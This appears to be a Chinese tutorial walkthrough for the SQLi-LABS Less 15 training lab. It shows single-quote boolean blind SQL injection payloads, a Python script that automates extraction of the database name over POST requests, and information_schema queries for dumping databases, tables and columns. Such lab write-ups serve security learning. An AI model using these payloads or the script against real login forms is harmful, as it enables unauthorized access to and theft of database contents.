第十五是单引号字符串型注入,推荐使用布尔盲注。

一、功能分析

输入用户名和密码,后台接收参数查询数据库。

如果用户名和密码存在,页面提示登录成功。

如果用户名和密码不存在,页面提示登录失败。

二、思路分析

参数中添加引号,页面不显示数据库的报错信息,报错注入无法使用。

使用万能账号登录成功后,页面不会动态返回数据(返回写死的图片),无法使用联合注入。

登录成功和登录失败(或错误)对应两种不同的页面响应情况,可以使用报错注入。

三、解题步骤

方式一:布尔盲注

参考文章:布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点

用户名输入:a' or 1 -- a

密码随便输入:1,页面正常显示(登录成功)

用户名输入:a' or 0 -- a

密码随便输入:1,页面异常显示(登录失败)

由此可以判断,网站存在注入,注入点为单引号字符型注入。

第二步、判断长度

判断当前使用数据库名字的长度,是否大于1,用户名输入:

a' or length((database())
) >1 -- a

长度肯定大于1,页面正常显示(登录成功),确定payload可用。

依次递增长度进行测试,手动判断效率太低,稍后使用脚本自动化猜解。

第三步、枚举字符

截取当前使用数据库名字的第一个字符,并转换为ASCLL(方便脚本测试)。

判断字符的ASCLL码是否大于1,用户名输入:

a' or ascii(substr((database()),1,1)
) >1 -- a

字符的ASCLL码肯定大于1,页面正常显示(登录成功),确定payload可用。

依次测试字符的ASCLL是否等于(32~126)。

测试成功后,再按照此方法测试其余字符,人工测试效率较低,稍后使用脚本自动化枚举。

脱库

Python自动化脚本如下,可按需修改:

import requests# 网站路径
url = "http://c1f436ecda844ea09d8e3dc91476b913.app.mituan.zone/Less-15/"
# 判断长度的payload
payload_len = """a' or length((database())
) ={n} -- a"""
# 枚举字符的payload
payload_str = """a' or ascii(substr((database()),{l},1)
) ={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('测试成功,长度为:', length)return length;else:print('正在测试长度:', length)length += 1# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)

执行结果如下:

其余脱库操作时,将下面圈起来的部分替换成SQL语句即可:

常用的脱库语句:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"

SQLi LABS Less 15 布尔盲注相关推荐

  1. SQLi LABS Less 16 布尔盲注

    第十六关是双引号+括号的字符型注入,推荐使用布尔盲注 一.功能分析 一个简单的登录功能,输入用户名和密码点击登录,后台接收参数查询数据库. 如果用户名和密码存在,页面提示登录成功. 如果用户名和密码不 ...

  2. SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入,推荐使用时间盲注. 一.功能分析 二.思路分析 三.解题步骤 方式一:时间盲注 第一步.判断注入条件 第二步.判断长度 第三步.枚举字符 脱库 一.功能分析 二.思路分析 页 ...

  3. SQLi LABS Less 9 时间盲注

    第九关是单引号字符型注入,推荐使用时间盲注 一.功能分析 在地址栏输入id作为参数,后台根据id查询用户信息. 二.思路分析 输入任何参数,页面都只有一种响应结果:You are in........ ...

  4. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  5. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  6. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  7. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  8. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

  9. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

最新文章

  1. 记录在Spring-Boot中使用Fegin调用RESTfull的PATCH方法设置
  2. 基于OpenCV的实战:轮廓检测(附代码解析)
  3. python小项目实例流程-推荐三个最适合零基础小白练手的python项目,分享给你!...
  4. MYSQL使用inner join 进行 查询/删除/修改示例
  5. js 读取php页面内容,js读取html文件 js获取html页面显示内容
  6. 使用RestTemplate消费Hybris User API获取指定用户的信息
  7. 中运用_钢琴教学中指法的安排与运用
  8. 4步带你从Web前端小白到入门!
  9. 改变计算机界的存储解决方案:RAID,30岁生日快乐!
  10. 固定再计算机主机箱,一种计算机主机放置箱架的制作方法
  11. (实验)使用Protel 99se绘制2114存储器芯片(详细)
  12. 手动批量下载ts文件并合并
  13. 上古计算机语言,微软开源其上古编程语言GW-BASIC
  14. QQ炫舞新上线紫钻Lv9和皇冠贵族Lv11 QQ炫舞紫钻9级图标上线
  15. 会计行业最新的法律和准则
  16. 2018 蓝桥杯 省赛 B组 原题 C语言B组 第二题 第九届蓝桥杯真题+答案+解析
  17. 2009年三月全国计算机二级,2009年3月全国计算机二级考试Access真题(2)
  18. Spark快速大数据分析——Spark安装与IDEA 开发(贰)
  19. 阿里云RDS数据库如何远程访问
  20. JS的重绘(repaints)和重排(reflows)

热门文章

  1. 19、SOAP安装,运用与比对结果解释
  2. 【三边定位】 演示程序V0.1
  3. 凑钱1,2,5凑20元钱有多少可能 共有哪几种可能
  4. ORACLE 语句关联统计
  5. 读取和设置SPFIELD的值
  6. Linux下内存buffer和cache的区别
  7. AndroidStudio_安卓原生开发_在Androidstudio中查看设备管理器---Android原生开发工作笔记160
  8. AndroidStudio安卓原生开发_SwipeRefreshLayout_下拉刷新控件---Android原生开发工作笔记119
  9. AndroidStudio_android中实现ImageView的清空操作---Android原生开发工作笔记235
  10. 大数据_Hbase-API访问_Java操作Hbase_封装操作数据的工具类---Hbase工作笔记0015